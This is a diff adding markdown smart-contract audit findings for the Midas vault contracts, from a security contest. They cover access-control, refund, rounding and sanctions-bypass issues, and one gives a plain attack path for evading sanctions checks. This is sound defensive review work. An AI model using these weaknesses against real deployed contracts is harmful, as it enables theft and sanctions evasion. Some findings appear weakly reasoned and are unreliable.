+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithBUIDL.sol#L11
+## Tool used
+
+Manual Review
+
+## Recommendation
+Give the admin these roles in the `MidasAccessControl::_setupRoles()` function like this:
+```diff
+ function _setupRoles(address admin) private {
+ _grantRole(DEFAULT_ADMIN_ROLE, admin);
+
+ _grantRole(DEPOSIT_VAULT_ADMIN_ROLE, admin);
+ _grantRole(REDEMPTION_VAULT_ADMIN_ROLE, admin);
+
+ _setRoleAdmin(BLACKLISTED_ROLE, BLACKLIST_OPERATOR_ROLE);
+ _setRoleAdmin(GREENLISTED_ROLE, GREENLIST_OPERATOR_ROLE);
+
+ _grantRole(GREENLIST_OPERATOR_ROLE, admin);
+ _grantRole(BLACKLIST_OPERATOR_ROLE, admin);
+
+ _grantRole(M_TBILL_MINT_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_BURN_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_PAUSE_OPERATOR_ROLE, admin);
++ _grantRole(M_BASIS_DEPOSIT_VAULT_ADMIN_ROLE, admin);
++ _grantRole(M_BASIS_REDEMPTION_VAULT_ADMIN_ROLE, admin);
+
+ }
+```
\ No newline at end of file
diff --git a/078.md b/078.md
new file mode 100644
index 0000000..5cd10b2
--- /dev/null
+++ b/078.md
@@ -0,0 +1,22 @@
+Boxy Flint Blackbird
+
+High
+
+# Return the users money, when rejecting request in `DepositVault`
+
+## Summary
+As of right now there is no existing way of returning the money to a user who made a request and his request got rejected
+## Vulnerability Detail
+When making request in the `RedemptionVault` you transfer your `mToken` to the vault, and if your request is rejected the admin can send the tokens back to you via `ManageableVault::withdrawToken()` function. This is not the case in `DepositVault`, since the tokens are transferred to an external address named `tokensReceiver`. By doing this transfer, if the user's request is rejected, his tokens are lost forever since the `tokensReceiver` address doesn't have an approval to the `DepositVault` and because of this the `DepositVault` can't transfer the tokens back.
+## Impact
+There is no way of returning the tokens from the rejected requests to the users, meaning that if a request is rejected a user will essentially get robbed.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148-L214
+## Tool used
+
+Manual Review
+
+## Recommendation
+either give an approval from the `tokensReceiver` address to the `DepositVault`, and transfer the tokens back to the user in the `rejectRequest()` function, or just ignore the `tokensReceiver` address and transfer the tokens directly into the `DepositVault`. This way you will be able to return the tokens back to the user and if `tokensReceiver` address is some important external protocol which can't be bypassed just like that, you can create another function to transfer the tokens to it or just use the `ManageableVault::WithdrawTo()` function.
\ No newline at end of file
diff --git a/079.md b/079.md
new file mode 100644
index 0000000..1b8afe1
--- /dev/null
+++ b/079.md
@@ -0,0 +1,59 @@
+Boxy Flint Blackbird
+
+High
+
+# `mBASIS` and `mTBILL` cannot be minted or burnt by `Deposit/RedemtionVault` because of Access Control issues
+
+## Summary
+`mBASIS` and `mTBILL` cannot be minted or burnt by `Deposit/RedemtionVault` because they don't have the minter/burner roles
+## Vulnerability Detail
+When initializing the `MidasAccessControl` contract, the msg.sender gets the corresponding roles:
+```javascript
+ function _setupRoles(address admin) private {
+ _grantRole(DEFAULT_ADMIN_ROLE, admin);
+
+ _grantRole(DEPOSIT_VAULT_ADMIN_ROLE, admin);
+ _grantRole(REDEMPTION_VAULT_ADMIN_ROLE, admin);
+
+ _setRoleAdmin(BLACKLISTED_ROLE, BLACKLIST_OPERATOR_ROLE);
+ _setRoleAdmin(GREENLISTED_ROLE, GREENLIST_OPERATOR_ROLE);
+
+ _grantRole(GREENLIST_OPERATOR_ROLE, admin);
+ _grantRole(BLACKLIST_OPERATOR_ROLE, admin);
+
+ _grantRole(M_TBILL_MINT_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_BURN_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_PAUSE_OPERATOR_ROLE, admin);
+ }
+```
+this AccessControl connects to the vaults, via `WithMidasAccessControl` in the following block of code:
+```javascript
+ function __WithMidasAccessControl_init(address _accessControl)
+ internal
+ onlyInitializing
+ {
+ require(_accessControl != address(0), "zero address");
+ accessControl = MidasAccessControl(_accessControl);
+ }
+```
+Now knowing that, We can look at the `DepositVault::depositInstant()`, `DepositVault::_approveRequest()`, `RedemptionVault::redeemInstant()` and `RedemptionVault::_approveRequest()` functions and the fact that they burn or mint `mTokens` without having the corresponding roles to do so.
+## Impact
+ This issue makes the whole protocol practically unusable.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/mTBILL.sol#L37-L42
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/mTBILL.sol#L47-L52
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L130
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L322
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L171
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L326
+## Tool used
+
+Manual Review
+
+## Recommendation
+When intializing the `MidasAccessControl` contract, give both the vaults the corresponding minter and burner roles. Add the vaults addresses as `_setupRoles` function inputs and use `_grantRole()` function to give them the roles.
diff --git a/080.md b/080.md
new file mode 100644
index 0000000..246d0fa
--- /dev/null
+++ b/080.md
@@ -0,0 +1,44 @@
+Boxy Flint Blackbird
+
+High
+
+# Aggregator feeds can't be controlled by admins because of poor implementation of Access Control
+
+## Summary
+Aggregator feeds can't be controlled by admins because of poor implementation of Access Control, leading to the absolute crash of the system
+## Vulnerability Detail
+The docs says that the price of `mTBILL` and `mBASIS` will be manually inputed by the admin of the feeds. Thats ok but the `M_TBILL_CUSTOM_AGGREGATOR_FEED_ADMIN_ROLE` and `M_BASIS_CUSTOM_AGGREGATOR_FEED_ADMIN_ROLE` roles are nowhere to be set, meaning that nobody will be able to set the values of both tokens.
+## Impact
+Nobody will be able to set the price of `mTBILL` and `mBASIS` leading to the complete crash of the system
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/MTBillCustomAggregatorFeed.sol#L16
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisCustomAggregatorFeed.sol#L16
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/access/MidasAccessControl.sol#L70
+## Tool used
+
+Manual Review
+
+## Recommendation
+After adding both of the roles in `MidasAccessControlRoles`, grant both roles to the admin in the `MidasAccessControl::_setupRoles()` function like this:
+```diff
+ function _setupRoles(address admin) private {
+ _grantRole(DEFAULT_ADMIN_ROLE, admin);
+
+ _grantRole(DEPOSIT_VAULT_ADMIN_ROLE, admin);
+ _grantRole(REDEMPTION_VAULT_ADMIN_ROLE, admin);
+
+ _setRoleAdmin(BLACKLISTED_ROLE, BLACKLIST_OPERATOR_ROLE);
+ _setRoleAdmin(GREENLISTED_ROLE, GREENLIST_OPERATOR_ROLE);
+
+ _grantRole(GREENLIST_OPERATOR_ROLE, admin);
+ _grantRole(BLACKLIST_OPERATOR_ROLE, admin);
+
+ _grantRole(M_TBILL_MINT_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_BURN_OPERATOR_ROLE, admin);
+ _grantRole(M_TBILL_PAUSE_OPERATOR_ROLE, admin);
++ _grantRole(M_TBILL_CUSTOM_AGGREGATOR_FEED_ADMIN_ROLE, admin);
++ _grantRole(M_BASIS_CUSTOM_AGGREGATOR_FEED_ADMIN_ROLE, admin);
+ }
+```
diff --git a/081.md b/081.md
new file mode 100644
index 0000000..c28ef11
--- /dev/null
+++ b/081.md
@@ -0,0 +1,22 @@
+Boxy Flint Blackbird
+
+Medium
+
+# Let the users specify the minimum amount of tokens they are willing to receive in both Deposit and Redemption vault requests
+
+## Summary
+Users aren't able to specify the minimum amount of tokens they are willing to receive in exchange for amount of other tokens, ultimately leading to loss of funds for them
+## Vulnerability Detail
+This feature is added in both the Deposit and Redemption vault's `instant` functions but not in the request ones. Adding these patterns in the request functions will lead to better user experience and a way to minimize the loses from after a request (request fee, fiat fee, etc.)
+## Impact
+User isn't allowed to specify the minimum amount of tokens he is willing to receive, leading to bigger losses and unpleasant user experience
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L303
+## Tool used
+
+Manual Review
+
+## Recommendation
+Firstly, add `minReceiveAmount` variable as part of both the deposit and redemption requests, after that put the same logic as in the `instant` functions into `approveRequest` logic, to ensure the minimum loss of funds for the user.
\ No newline at end of file
diff --git a/082.md b/082.md
new file mode 100644
index 0000000..e031a97
--- /dev/null
+++ b/082.md
@@ -0,0 +1,39 @@
+Refined Aquamarine Barracuda
+
+High
+
+# Strict precision limit will DoS token transfers
+
+### Summary
+
+The _tokenTransferFromUser() strictly limits the result of amount.convertFromBase18() must be equal to amount.convertFromBase18().convertToBase18(). The restriction may DoS a token transfer when the amount is not a proper integer multiple.
+
+### Root Cause
+
+In `ManageableVault.sol:402` the restriction is too strict.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L419C9-L431C11
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Token transfer may be DoSed.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/083.md b/083.md
new file mode 100644
index 0000000..7e8ef8c
--- /dev/null
+++ b/083.md
@@ -0,0 +1,38 @@
+Refined Aquamarine Barracuda
+
+Medium
+
+# Constant stablecoin price will open potential attak surface
+
+### Summary
+
+In _getTokenRate(), the stablecoin prices are always set to 1, which may not be the case. If a stablecoin suddenly depegged for a while (which happened to USDC), it may open a potential attack surface.
+
+### Root Cause
+
+In `ManageableVault.sol:603`, the stablecoin price is fixed to 1.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L611
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/084.md b/084.md
new file mode 100644
index 0000000..5dad696
--- /dev/null
+++ b/084.md
@@ -0,0 +1,39 @@
+Refined Aquamarine Barracuda
+
+High
+
+# Lack of refund mechanism will bring financial losses to owners of rejected deposit requests
+
+### Summary
+
+The deposit request process lacks a refund mechanism. Specifically, if a user requests a deposit via the depositRequest() function but the request is rejected, the user will not get refunded with the deposited value.
+
+### Root Cause
+
+The rejectRequest function doesn't refund the deposited tokens.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/085.md b/085.md
new file mode 100644
index 0000000..7345aad
--- /dev/null
+++ b/085.md
@@ -0,0 +1,56 @@
+Narrow Daisy Chipmunk
+
+High
+
+# Users can bypass sanctions check for redemption
+
+### Summary
+
+`mTBIIL@_beforeTokenTransfer` is only checking if the sender and recipient are blacklisted, allowing sanctioned users to bypass the sanctions check for redemption by transferring `mTBILL`/`mBASIS` tokens to a non sanctioned address.
+
+### Root Cause
+
+[mTBILL.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/mTBILL.sol#L82-L93)
+
+```solidity
+ function _beforeTokenTransfer(
+ address from,
+ address to,
+ uint256 amount
+ ) internal virtual override(ERC20PausableUpgradeable) {
+ if (to != address(0)) {
+ _onlyNotBlacklisted(from);
+ _onlyNotBlacklisted(to);
+ }
+
+ ERC20PausableUpgradeable._beforeTokenTransfer(from, to, amount);
+ }
+```
+
+`mTBIIL@_beforeTokenTransfer` is not checking for sanctions.
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+User is not sanctioned initially.
+
+### Attack Path
+
+1. The user deposits to Midas by calling `depositInstant` and gets `mTBILL`/`mBASIS` tokens back.
+2. The user is sanctioned.
+3. The user can still redeem using `mTBILL`/`mBASIS` tokens by transferring them to a non sanctioned address.
+
+### Impact
+
+User bypasses the sanctions check for redemption.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add sanctions check on the `mTBILL` transfers as well.
\ No newline at end of file
diff --git a/086.md b/086.md
new file mode 100644
index 0000000..ae3e95e
--- /dev/null
+++ b/086.md
@@ -0,0 +1,56 @@
+Scruffy Plastic Swift
+
+Medium
+
+# Admin cannot get ETH from contracts
+
+## Summary
+
+Accoring to Specifications, Admin can transfer any token that is in the smartcontract. However admin cannot transfer ETH sent to the contract.
+
+## Vulnerability Detail
+
+Accoring to `Product Requirements`, it is specified that "We want the admin to be able to rescue any token in our smartcontract, and transfer them at will to any wallet.".
+```solidity
+ function withdrawToken(
+ address token,
+ uint256 amount,
+ address withdrawTo
+ ) external onlyVaultAdmin {
+ IERC20(token).safeTransfer(withdrawTo, amount);
+
+ emit WithdrawToken(msg.sender, token, withdrawTo, amount);
+ }
+```
+
+However, such function cannot handle ETH transfer.
+
+Even if the contract does not have receive/fallback or any payable functions, it is still possible for a user to send ETH to the contract in one of the following two ways:
+
+1. Selfdestruct
+When the SELFDESTRUCT opcode is called, funds of the calling address are sent to the address on the stack, and execution is immediately halted. Since this opcode works on the EVM-level, Solidity-level functions that might block the receipt of Ether [will not be executed](https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether).
+
+2. Pre-calculated Deployments
+Additionally, the target address of newly deployed smart contracts is generated deterministically. The address generation can be looked up in any EVM implementation, such as the [py-evm reference implementation](https://github.com/ethereum/py-evm/blob/e924f63992a35212616b4e20355d161bc4348925/eth/_utils/address.py#L17-L18) by the Ethereum Foundation:
+```python
+def generate_contract_address(address: Address, nonce: int) -> Address:
+ return force_bytes_to_address(keccak(rlp.encode([address, nonce])))
+```
+
+It is possible a user send ETH to midas vault before deployment.
+
+## Impact
+
+Protocol cannot get ETH from vaults, breaks the specification: Admin can transfer any token that is in the smartcontract.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L189-L197
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Acknowledge the risk
\ No newline at end of file
diff --git a/087.md b/087.md
new file mode 100644
index 0000000..ff8dfaa
--- /dev/null
+++ b/087.md
@@ -0,0 +1,39 @@
+Breezy Sandstone Goose
+
+Medium
+
+# Allowance Never Decrements Due to Early Return Condition
+
+### Summary
+
+The "_requireAndUpdateAllowance" function in the Solidity contract fails to update the allowance variable because the condition if "(prevAllowance == MAX_UINT)" always evaluates to true, causing the function to return early and bypass the necessary allowance updates.
+
+### Root Cause
+
+In "ManagableVault.sol" The "_requireAndUpdateAllowance" function is designed to skip updating the "prevAllowance" variable, if it equals MAX_UINT. However, since the"prevAllowance" variable is initialized with MAX_UINT in the "addPaymentToken" function, Since this condition is always true, the function never reaches the code that updates the allowance. This means the allowance amount never decrements.
+
+### Internal pre-conditions
+
+1, The "tokensConfig" mapping must contain an entry for the token address.
+2, The allowance value in the "tokensConfig" mapping for the token address must be less than MAX_UINT.
+
+### External pre-conditions
+
+1, The "tokensConfig" mapping must contain an entry for the token address.
+2, The allowance value in the "tokensConfig" mapping for the token address must be less than MAX_UINT.
+
+### Attack Path
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L501
+
+### Impact
+
+If the _requireAndUpdateAllowance function fails to decrement the allowance, users or contracts interacting with the token might be able to spend tokens without any limit. This could lead to significant financial loss or depletion of tokens that were supposed to be restricted by the allowance mechanism, potentially resulting in the collapse of the token's economic model or exploitation by malicious actors.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/088.md b/088.md
new file mode 100644
index 0000000..2114a9d
--- /dev/null
+++ b/088.md
@@ -0,0 +1,53 @@
+Breezy Sandstone Goose
+
+High
+
+# Incorrect USD Conversion for Tokens with Non-18 Decimals
+
+### Summary
+
+The _convertTokenToUsd function inaccurately converts token amounts to USD by assuming that all tokens have 18 decimals. For tokens with different decimal places (e.g., USDT with 6 decimals), this results in incorrect USD values.
+
+### Root Cause
+
+The function multiplies the token amount by the rate and then divides by 10**18, assuming that the token has 18 decimals. This calculation fails for tokens with different decimal precision, leading to incorrect USD conversion.
+
+### Internal pre-conditions
+
+1, The function _convertTokenToUsd is called with a token amount.
+2, The token passed has a decimal precision other than 18 (e.g., 6 decimals for USDT).
+
+### External pre-conditions
+
+1, A user or contract interacts with _convertTokenToUsd using a token like USDT.
+2, The token's data feed is properly set up, and the conversion rate is non-zero.
+
+### Attack Path
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L419
+
+### Impact
+
+ If the _convertTokenToUsd function inaccurately converts token amounts due to incorrect decimal assumptions, it could lead to severe financial miscalculations. For example, if a user deposits or trades USDT, the system might incorrectly calculate its USD value, potentially underestimating or overestimating the amount by a factor of 1,000,000. This could result in significant financial losses, incorrect balances, erroneous reporting, and potential exploitation by malicious actors, destabilizing the platform's financial operations and undermining user trust.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+function _convertTokenToUsd(address tokenIn, uint256 amount)
+ internal
+ view
+ returns (uint256 amountInUsd, uint256 rate)
+{
+ require(amount > 0, "DV: amount zero");
+
+ TokenConfig storage tokenConfig = tokensConfig[tokenIn];
+
+ rate = _getTokenRate(tokenConfig.dataFeed, tokenConfig.stable);
+ require(rate > 0, "DV: rate zero");
+
+ uint8 decimals = IERC20(tokenIn).decimals();
+ amountInUsd = (amount * rate) / (10**decimals);
+}
\ No newline at end of file
diff --git a/092.md b/092.md
new file mode 100644
index 0000000..52ee827
--- /dev/null
+++ b/092.md
@@ -0,0 +1,59 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Multiple instances of calculations with incorrect rounding directions that are unfavorable to the protocol.
+
+## Summary
+
+Within all the contracts, all calculations are rounded down, even when such rounding favors the user. This is incorrect, as all roundings in calculations should favor the protocol.
+
+## Vulnerability Details
+
+There are multiple instances of this issue:
+
+1. Within the `_getFeeAmount()` function, the rounding should be up.
+
+```solidity
+File: ManageableVault.sol
+540: return (amount * feePercent) / ONE_HUNDRED_PERCENT; // <== should be rounding up
+```
+
+The fee calculations should always round the value up in favor of the protocol.
+
+2. `feeTokenAmount` is truncated prematurely, leading to rounding in favor of the user.
+
+```solidity
+File: DepositVault.sol
+379: feeTokenAmount = _truncate( // <== truncated prematurely as feeTokenAmount is used as a multiplier for feeInUsd calculation
+380: _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+381: tokenDecimals
+382: );
+383: amountTokenWithoutFee = amountToken - feeTokenAmount; // <== should _truncate() here only
+384:
+385: uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18; // <== feeTokenAmount used as a multiplier in fee amount calculation
+```
+
+3. Rounding down in the `feeInUsd` calculation.
+
+```solidity
+File: DepositVault.sol
+385: uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18; // <== should be rounding up in favor of the protocol.
+```
+
+## Impact
+
+Incorrect rounding will result in higher output amounts, favoring the user over the protocol.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L540
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L379-L385
+
+## Tools Used
+
+Manual review.
+
+## Recommendations
+
+Round the value up instead of down in all mentioned instances.
\ No newline at end of file
diff --git a/093.md b/093.md
new file mode 100644
index 0000000..e8bd2a8
--- /dev/null
+++ b/093.md
@@ -0,0 +1,58 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Incorrect validation of the daily redemption limit in the `MBasisRedemptionVaultWithSwapper` contract.
+
+## Summary
+
+The `_requireAndUpdateLimit()` check is incorrectly placed within an `if` statement, leading to a situation where the daily limit is not validated and the values are not updated in the `else` case.
+
+## Vulnerability Details
+
+The `_requireAndUpdateLimit()` function is incorrectly placed within the `if` block:
+
+```solidity
+File: MBasisRedemptionVaultWithSwapper.sol
+138: if (
+139: contractTokenOutBalance >=
+140: amountTokenOutWithoutFee.convertFromBase18(tokenDecimals)
+141: ) {
+142: _requireAndUpdateLimit(amountMTokenInCopy); // <== should be outside the if/else block
+143: _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+144:
+145: mToken.burn(user, amountMTokenWithoutFee);
+146: } else {
+```
+
+The `_requireAndUpdateLimit()` function should be placed outside the `if` block because the limit should be checked and updated regardless of the condition being true or false.
+
+## Impact
+
+Incorrect validation of the redemption daily limit.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L142
+
+## Tools Used
+
+Manual review.
+
+## Recommendations
+
+Move the `_requireAndUpdateLimit()` function call outside of the `if` block:
+
+```diff
++ _requireAndUpdateLimit(amountMTokenInCopy);
++
+ if (
+ contractTokenOutBalance >=
+ amountTokenOutWithoutFee.convertFromBase18(tokenDecimals)
+ ) {
+- _requireAndUpdateLimit(amountMTokenInCopy);
+ _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ mToken.burn(user, amountMTokenWithoutFee);
+ }
+```
\ No newline at end of file
diff --git a/101.md b/101.md
new file mode 100644
index 0000000..aacaae5
--- /dev/null
+++ b/101.md
@@ -0,0 +1,51 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Some redemption vaults share the same vaultRole, and permission control can not be separated.
+
+
+## Summary
+
+RedemptionVault/RedemptionVaultWithBUIDL, MBasisRedemptionVault/MBasisRedemptionVaultWithBUIDL/MBasisRedemptionVaultWithSwapper share the same vaultRole. Permission control for these vaults can not be separated.
+
+## Vulnerability Detail
+
+`vaultRole()` is the role that controls the entire vault.
+
+```solidity
+ modifier onlyVaultAdmin() {
+ _onlyRole(vaultRole(), msg.sender);
+ _;
+ }
+```
+
+There are 5 different redemption vaults:
+
+1. RedemptionVault
+2. RedemptionVaultWIthBUIDL
+3. MBasisRedemptionVault
+4. MBasisRedemptionVaultWithBUIDL
+5. MBasisRedemptionVaultWithSwapper
+
+Among these vaults, 1/2 share the same vaultRole (`REDEMPTION_VAULT_ADMIN_ROLE`), 3/4/5 share the same vaultRole (`M_BASIS_REDEMPTION_VAULT_ADMIN_ROLE`). The permission control is done in a centralized contract `WithMidasAccessControl`, meaning if a user has the `M_BASIS_REDEMPTION_VAULT_ADMIN_ROLE` role, he would have admin access to all 3/4/5 vaults.
+
+This is nowhere written expected in the docs, and may be unexpected.
+
+## Impact
+
+Vaults sharing the same vaultRole means it is not possible to split permission control, e.g. If an user has admin access to `MBasisRedemptionVault`, he would also have admin access to `MBasisRedemptionVaultWithSwapper`.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L19
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithBUIDL.sol#L15
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L19
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Separate the vaultRoles for different vaults.
\ No newline at end of file
diff --git a/107.md b/107.md
new file mode 100644
index 0000000..2de9257
--- /dev/null
+++ b/107.md
@@ -0,0 +1,88 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Token allowances are not added back if a deposit request is rejected.
+
+
+## Summary
+
+Token allowances are not added back if a deposit request is rejected.
+
+## Vulnerability Detail
+
+When user requests a standard deposit, the allowance for the token is deducted by `amountToken`, which is the amount of `tokenIn` the user wishes to deposit.
+
+When the request is approved, everything is good. However, if the request is rejected, the allowance is not added back, this would reduce the amount of `tokenIn` that can be used for deposit in the future.
+
+There are two mitigations for this:
+
+1. Add back the allowance if a deposit is rejected. (However, if allowance is reset by admin, it would be a tricky case to handle).
+2. Reduct allowance during the admin approval phase instead of user request phase for standard deposits.
+
+```solidity
+
+ function rejectRequest(uint256 requestId) external onlyVaultAdmin {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
+
+ mintRequests[requestId].status = RequestStatus.Canceled;
+
+ emit RejectRequest(requestId, request.sender);
+ }
+
+ function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId
+ )...
+ {
+ ...
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeAmount,
+ uint256 amountTokenWithoutFee,
+ ,
+ uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+@> ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, false);
+ ...
+ }
+
+ function _calcAndValidateDeposit(
+ address user,
+ address tokenIn,
+ uint256 amountToken,
+ bool isInstant
+ )...
+ {
+ ...
+@> _requireAndUpdateAllowance(tokenIn, amountToken);
+ ...
+ }
+```
+
+## Impact
+
+Allowance would be eventually smaller than expected.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+There are two mitigations for this:
+
+1. Add back the allowance if a deposit is rejected. (However, if allowance is reset by admin, it would be a tricky case to handle).
+2. Reduct allowance during the admin approval phase instead of user request phase for standard deposits.
\ No newline at end of file
diff --git a/108.md b/108.md
new file mode 100644
index 0000000..70fada3
--- /dev/null
+++ b/108.md
@@ -0,0 +1,72 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Discrepancy between spec and code: admins can waive deposit/redemption min amount limit for specific user.
+
+
+## Summary
+
+In the code, the vault admins can waive the min amount limit that is set for a specific user. However, this is not listed in the specs, which is a discrepancy between the spec and code.
+
+## Vulnerability Detail
+
+Please see this doc for the list of parameters the admin can set and adjust: https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=42afde9e098b42ef8296e43286b73299&pm=s.
+
+There is a minimum limit of mTokens that users need to fulfill when depositing/redeeming tokens. Additionally, there may be a independent minimum for user's first deposit, and for user redeeming to fiat.
+
+> The admin can adjust separately those minimums
+
+> - 1st deposit. When we don’t have a prospectus, there is a minimum that needs to be enforced for the first deposit. This rule only applies for the first mintings (not for the first redemption). This can be set in TOKEN.
+> - Minting. Some Products may have some operational headaches, and we may want to limit very small deposits (regardless if this is the first one or not). This can be set in TOKEN
+> - for redemptions
+> - crypto_redemption. Similarly to the minting minimum, we want to limit redemptions to a minimum. This can be set in TOKEN.
+> - fiat_redemption. FIAT can be more costly, and requires its dedicated minimum. This can be set in TOKEN.
+
+The issue is that vault admin can freely set `isFreeFromMinAmount[user]` to waive the user of this limit. However, this feature is not listed in the specs. This is considered as a discrepancy between spec and code, which the contest readme allows to submit: "Please note that discrepancies between the spec and the code can be reported as issues".
+
+To make a comparison, the ability to waive fees is listed in the specs, and is implemented in code.
+
+ManageableVault.sol
+```solidity
+ function freeFromMinAmount(address user, bool enable)
+ external
+ onlyVaultAdmin
+ {
+ require(isFreeFromMinAmount[user] != enable, "DV: already free");
+
+@> isFreeFromMinAmount[user] = enable;
+
+ emit FreeFromMinAmount(user, enable);
+ }
+
+ function addWaivedFeeAccount(address account) external onlyVaultAdmin {
+ require(!waivedFeeRestriction[account], "MV: already added");
+ waivedFeeRestriction[account] = true;
+ emit AddWaivedFeeAccount(account, msg.sender);
+ }
+
+ function removeWaivedFeeAccount(address account) external onlyVaultAdmin {
+ require(waivedFeeRestriction[account], "MV: not found");
+ waivedFeeRestriction[account] = false;
+ emit RemoveWaivedFeeAccount(account, msg.sender);
+ }
+```
+
+## Impact
+
+Admins have larger permission than documented. Discrepancy between spec and code: admins can waive deposit/redemption min amount limit for specific user.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L337
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L496
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L393
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Remove this feature, or add it in specs.
\ No newline at end of file
diff --git a/109.md b/109.md
new file mode 100644
index 0000000..f3c971d
--- /dev/null
+++ b/109.md
@@ -0,0 +1,89 @@
+Muscular Jade Hedgehog
+
